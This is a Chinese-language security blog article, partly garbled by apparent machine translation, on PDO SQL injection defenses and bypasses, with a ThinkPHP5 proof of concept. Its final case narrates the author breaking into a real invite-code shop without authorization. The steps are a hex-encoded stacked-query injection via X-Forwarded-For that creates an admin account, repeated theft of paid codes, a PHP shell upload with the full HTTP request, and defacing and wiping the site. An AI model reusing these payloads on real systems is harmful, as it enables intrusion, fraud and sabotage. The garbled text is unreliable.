0x01 PDO简介
PDO全名PHP数据对象
PDO 扩展为 PHP 访问数据库定义了一个轻量级的信息数据。PDO 提供了一个抽象层,这些信息,都可以使用,无论使用的吸管数据库,都可以使用相同的函数(方法)来和获取查询数据。
PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),列表性比较如下:
mysqli | PDO | MySQL | |
---|---|---|---|
引入的 PHP 版本 | 5.0 | 5.0 | 3.0之前 |
PHP5.x 是否包含 | 是 | 是 | 是 |
服务端准备语句的支持情况 | 是 | 是 | 否 |
客户端准备语句的支持情况 | 否 | 是 | 否 |
存储过程支持的情况 | 是 | 是 | 否 |
多语句执行支持情况 | 是 | 杂志 | 否 |
护理在php中使用pdo扩展,需要在php.ini文件中进行配置
0x02 PDO循环SQL注入
①调用方法转义特殊角色
quote()方法(这种方法的原理跟加斜杠差不多,都是转义)
PDO的quate()类方法适合爱好进口字符串(如果需要)加上引号,并在输入字符串内转义特殊字符。
EG①:
$conn = new PDO('sqlite:/home/lynn/music.sql3');
/* Dangerous string */
$string = 'Naughty ' string';
print "Unquoted string: $stringn";
print "Quoted string:" . $conn->quote($string) . "n";
?>
输出
Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'
EG②
测试文件
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` int(10) NOT NULL,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES (0, 'admin', 'admin');
INSERT INTO `user` VALUES (1, 'user', 'user');
SET FOREIGN_KEY_CHECKS = 1;
文件
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$username=$pdo->quote($username);
$password=$pdo->quote($password);
$sql="select * from user where username={$username} and password={$password}";
echo $sql."
";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}
访问http://localhost/pdo.php?username=admin&password=admin
当我们使用单引号探测注入时
反,单引号已被反斜线转义
②预编译语句
1、占位符-通过引入参数注入
通过个别参数防止注入的方法会加上程序在执行SQL语句时,会把参数值当成一个整体来进行处理,即使参数值中包含单引号,也会把单引号当成单引号字符,而不是字符串的止符。这样就在开始删除了sql注入攻击的条件。
将原来的SQL查询语句改为
Select * from where name=:username and password=:password
准备方法进行SQL语句预编译
最后通过调用rowCount()方法,查看返回受sql语句影响的行数
返回0语句执行失败,大于等于1,则表示语句执行成功。
所有代码
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->execute(array(":username"=>$username,":password"=>$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
成功查询
注入失败
2、占位符-通过问号占位符防止注入
把SQL语句再进行修改
select * from user where name=? and password=?
同上,准备方法进行SQL语句预编译
最后调用rowCount()方法,查看返回受sql语句影响的行数
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username=? and password=?";
$stmt=$pdo->prepare($sql);
$stmt->execute(array($username,$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
效果同上
成功查询
注入失败
3.通过bindParam()方法绑定参数防御SQL注入
修改语句部分
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
解释:
a)::username 和 :password 为命名参数
b):$username;$password 为获取的变量,即用户名和密码。
c):PDO::PARAM_STR,表示变量的值一定要为字符串,即绑定参数类型为字符串。在bindparam()方法中,默认绑定的参数类型就是字符串。
当你要接受int型数据的时候可以绑定参数为PDO::PARAM_INT。
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GETT['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
效果同上
成功查询
注入失败
这只是总结了一点点PDO外围SQL注入的方法,是否还有必要见
其他还有很多,大家可以自己研究
0x03 PDO下的注入与思考
读完前文后,读者们可能不会感叹,真狠啊,什么都tmd转义,什么语句都预了,这tmd注入编译一个毛...
北宋宰相王相安石有言“照射最奇奇,成如易却艰辛”
让我们抽丝剥茧来探寻PDO下的注入注射器
现在在PDO下,比较通用的办法主要有以下两种
①宽字节注入
注入的原则不讲了,相信大家都知道
一张图,翻明了
当Mysql数据库my.ini文件中设置编码为gbk时,
我们的PHP程序使用了addslashes()PDO::e,mysql_real_escape_string()、mysql_escape_string()等函数、方法,或配置了magic_quotes_gpc=on,仍然可以通过构造%df的方法绕过转义
②欢乐注入与注入注入
PDO分解模拟和非模拟模拟。
模拟改造是预防某些数据库不支持而设置的,也是恢复注入的元凶
在初始化PDO驱动时,可以设置火星参数,PDO::ATTR_EMULATE_PRRES,作用是模拟启动(true)或者关闭(false),默认为true。
PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟条件则是通过数据库服务器来进行动作,主要分为两步:
是初步准备阶段,发送SQL语句模板到服务器数据库;
第二步通过execute()函数发送占位符参数给数据库服务器执行。
PDO产生安全问题的主要设置如下:
PDO::ATTR_EMULATE_PREPARES //模拟假设(默认开启)
PDO::ATTR_ERRMODE //报错
PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许多句执行(默认开启)
PDO默认是允许多句语句和模拟预置的,在用户输入参数可控的情况下,会导致目标增加。
2.1 没有过滤的南部注入情况
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username='{$username}' and password='{$password}'";
echo $sql."
";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}
因为在$pdo>query()执行之前,我们便可以对$sql进行窃听操作,那PDO相当于没用。
如果想禁止多语句执行,可在创建 PDO 实例时将 PDO::MYSQL_ATTR_MULTI_STATEMENTS 设置为 false
new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))
但是同时禁止了执行,也只是一个不可能的多个并发
2.2 模拟初始的情况
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
//$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "
";
}
} catch (PDOException $e) {
echo $e;
}
$role是可控的,导致可实现目标和在线查询
2.3当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时
设置方法
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
是否开启PDO::ATTR_EMULATE_PREPARES-模拟启动
此时SQL语句如果产生报错,PDO声明将报错
除设置错误码之外,PDO 错误提示一个 PDO 异常异常并设置它的属性来反射错误码和信息。
设置在调试过程中也非常详细,因为它会有效地放大此脚本中产生错误的点,从而可以非常快速地将代码抛出问题的潜在区域
在这种情况下可以实现基于错误的 SQL 注入
使用GTID_SUBSET函数进行注入注入
http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin
2.4 非模拟的情况
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "
";
}
} catch (PDOException $e) {
echo $e;
}
这个时候注入已经歇逼了
但内联查询,报错注入依然坚挺可用
③一个安全案例
语句内存在有用户非纯文字可以部分,便餐安全;我们就用非模拟的sql写法
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
它会告诉 PDO 模拟模拟语句,并使用真实的模拟语句。
这可以确保SQL语句和相应的值在传递到mysql服务器之前不会被PHP解析的(阻止了所有可能的恶意是SQL注入攻击)。
以下为一个安全使用 PDO 的案例
$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');
$stmt->execute(array('id' => $id));
print_r($stmt -> fetchAll ());
exit();
当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符
过去,没有用户提交的;当调用到execute()时,用户输入的发送的值会传送给数据库,它们是单独发送的,数据独立的,SQL注入攻击者没有一点机会
0x04 案例剖析-ThinkPHP5中PDO导致的一个鸡肋注入(来自Phithon师傅)
我们来看看 Phithon 师傅几年前的博客发的一个案例
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
namespace appindexcontroller;
use appindexmodelUser;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
如上述代码,如果我们控制了语句的值位置,通过一个集合,来造成SQL注入漏洞。
文中之前分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码:
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,就可以$k不进了$bindName。
,我们控制了预编译的 SQL 语句中的键名,意思是说我们控制了预编译的 SQL 语句,这就是一个 SQL 注入漏洞。那么,为什么译文中说测试 SQL 注入失败呢?
这就是涉及到预编译的执行过程了。通常,PDO 预编译执行过程分三步:
-
prepare($SQL) 编译SQL语句
-
bindValue($param, $value) 将值绑定到参数的位置上
-
execute() 执行
这个存在实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候就会抛出错误的:
所以,错误的“似乎”导致整个过程不到第三步,这个就无法进行注入了。
但实际上,在最后一句的时候,也就是有预想利用。我们可以做一个实验。写如下代码:
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (PDOException $e) {
var_dump($e);
执行发现,虽然我只调用了准备函数,但原SQL语句中的报错已经成功执行:
究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。
这个选项涉及到 PDO 的“原理”机制:因为不是所有的数据库驱动都支持 SQL 预编译,所以 PDO 存在“模拟机制”。如果说开启模拟启动,那么 PDO 内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我在这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟,参数化绑定的整个过程和Mysql交互进行的。
非模拟初始的情况下,参数化过程分两步:初始阶段是准备阶段,发送占位符的sql语句到mysql服务器(解析->解析),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行优化->执行)。
到prepare($SQL)时候,当我的 SQL 语句开始执行的时候,我的 SQL 语句就出现了错误,然后就可以直接被 mysql 出现异常了,就不会再执行第二次了。我们来看看 ThinkPHP5 的默认配置:
...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
可见,这里确实设置了PDO::ATTR_EMULATE_PREPARES => false。所以终上所述,我构造POC,用错误注入,获取用户(信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你将 user() 改成一个子语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。
因为没有过度研究,说一下我探测:预想是mysql服务端的,但预想的过程是不接触数据的,不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是会生成SQL语句,所以这里执行并爆炸了出来。
0x05 实战案例-从cl社区激活码到Git 2000+ Star项目0day
5.1 起因
挖SRC,做项目做的心生烦闷,前几日在线在家看1024(cl)社区,越看越来劲,邪火攻心,想搜片看
奈何社区一向奉行诱惑制,邀请码又恶搞到,可谓相当不爽
于是我去google上找了一个卖1024社区邀请码的站
88块钱……虽然不算贵,但这种东西本来就是怎么不受法律保护的。作为一个JB小子,可能不动点白嫖心思?
在黑盒测试了这之后,发现支付逻辑和家人都没有安全问题。。我真的要花钱买激活码?
不可能,绝对不可能。
看到网站底部有一个Powered by xxx,呵呵,好家伙,猜不出这应该就是这个站用的CMS系统了。
去Git上一搜有2000多颗星星作者维护了好几年也可以一个成熟的项目了。
直接把最新版源码下载下来,丢进PHP风暴里开始审计。
5.2 从审计思路到 PDO 导致的前台 XFF 注入注入
就我个人而言,有自己的来源,我更喜欢黑白盒相结合;根据家人可以访问到的功能点来确定自己的目标
简单看一个普通系统是MVC架构的,使用了PDO,使用有部分过滤规则;后台默认路径是/admin
去外旅游的功能点,发现在订单处路径名很开心,附带一个/查询,直接搜一下页面上关键词,进入到源码中。
发现了如下一段代码
PDO 流行默认配置,立马考虑了澳大利亚的配置
经测命令id用户可以找到,其他查找orderid方法,orderid经函数后被为纯字符串,没有注入余地,故选择另一种处理方法
后发现ip参数用户同样可控,在调用方法前没做任何处理。
ip参数调用的是getClientIP方法,我们跟一下getClientIP方法
很好理解,就是从常见的http header中获取客户端IP
但是很高兴ip参数未做任何处理我们可以通过构造XFF头来实现澳大利亚注入
因为有csrf_token的验证,我们必须在订单的页面上,随便输入一个订单号,然后输入正确的验证码,然后查询才有效
手动构造XFF头,针对PDO的注入注入
因为PDO双引号进行结束,且属于无回显的处处
故构造Payload为
X-FORWARDED-For:1';select sleep(5)#
迟了 5 秒,注入注入。
面对这种没回显的目标,注入,盲注太慢,用Dnslog OOB又太慢,所以选择构造一个添加后台管理员的插入有效载荷
X-FORWARDED-For:1“;insert into t_admin_user values(99,"[email protected]","76b1807fc1c914f15588520b0833fbc3","78e055",0);
但现实是很微妙的,测试发现,在FF头中,1”将继续结果之后只要出现了或者引用触发,导致无法触发,SQL语句执行
但是有审计经验的兄弟一定会觉得,PDO下准备的声明给我们提供了一定的绕过过滤进行注入的沃土
山重水复疑无路,柳暗花明又一村
5.3 Prepare Statement构造注入注入
知识补充 --- Prepare Statement写法
MySQL官方将准备、执行、解除分配统备准备声明(准备)
预制语句的SQL语法基于三个SQL语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;
献上MYSQL中两个简单的demo
set@a="select user()";PREPARE a FROM @a;execute a;select sleep(3);#
set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#
//73656C65637420757365722829为select user() 16进制编码后的字符串,前面再加上0x声明这是一个16进制字符串
准备语句在 SQL 注入王国末日了非常大的作用,但对于 SQL 注入攻击却也提供了新的手段。
准备语句最大的特点就是它可以将16个输入串转为语句并执行字符串。如果发现了一个可以注入的场景,但过滤非常谨慎,便使用准备我们进行攻击。
将我们的插入语句直接十六进制编码。
构造注入构造
X-FORWARDED-For:1";set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#
//sleep用于判断注入是否成功
总共3s,注入成功,成功添加了一个账号为[email protected]
密码为12345的后台管理员
直接默认后台路径/管理员登录后台
前台提交一个社区邀请码的订单
后台修改订单状态为确认付款
没过一会,邀请码直接到邮箱
以后可以搜片
5.4 不讲武德被发现
在不武德,连续薅了几个邀请码,朋友讲后
站长终于发现了
八嘎,既然发现了,那就干脆把你的站热下来吧,然后好好擦屁股,免得0day这站长抓走
5.5后台Getshell审计(感谢17@***s*c)
经测后台的文件上传处鉴权比较好,不能直接前台
但是后台文件上传处,没有对文件扩展名进行任何过滤,只有后台研究发现,所以得到壳直接白给。
文件上传后不会返回上传路径上传路径和上传文件的本土化我们已经了如指掌
UPLOAD_PATH定义如下
define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');
CUR_DATE定义如下
define('CUR_DATE', date('Y-m-d'));
文件名
$filename=date("His"); //小时+分钟+秒
以我现在21点05分钟为例,输出如下结果
2021年5月26日的21点05分44秒以例子
完整的文件路径即为
http://www.xxx.com/res/upload/2021-05-26/210444.php
直接构造表单
<meta charset="utf-8">
<form action="http://xxx.top/Admin/products/imgurlajax" method="post" enctype="multipart/form-data">
<label for="file">File:label>
<input type="file" name="file" id="file" />
<input type="text" name="pid" id="pid" /> <--! pid记得自行修改为商品的id(后台选择商品抓包即可获取)-->--!>
<input type="submit" value="Upload" />
form>
同时需要添加Referer: httpxxx.top/Admin/products/imgurl/?id=1,并修改底部的页面
否则会提示“请选择商品id”
完整的终极上传http请求如下
POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1
Host: xxxx
Content-Length: 291
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0eb
Origin: http://47.105.132.207
Referer: http://xxx.top/Admin/products/imgurl/?id=12
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaq
Connection: close
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
phpinfo();
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="pid"
12
------WebKitFormBoundaryeSrhtSPGxub0H0eb--
直接上传成功
欢迎通过burpsuite Intruder来跑一下最后的秒数
秒数不能拿捏的那个配方
直接拿捏。
把网页清理掉
然后给公共索引页面加点乐子
传统功夫,点到为止。
0x06 总结
本文主要介绍了通过PDO外围SQL注入的方法和PDO中的注入思路,并给大家带来了10天实例
你会发现层层抽丝剥茧研究一个方法,说明一下的深度实战中,是很长时间的一个办法。
本文始发于微信公众号(网络侦查研究院):从PDO下的注入思路到获得GIT 2000star项目0day
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论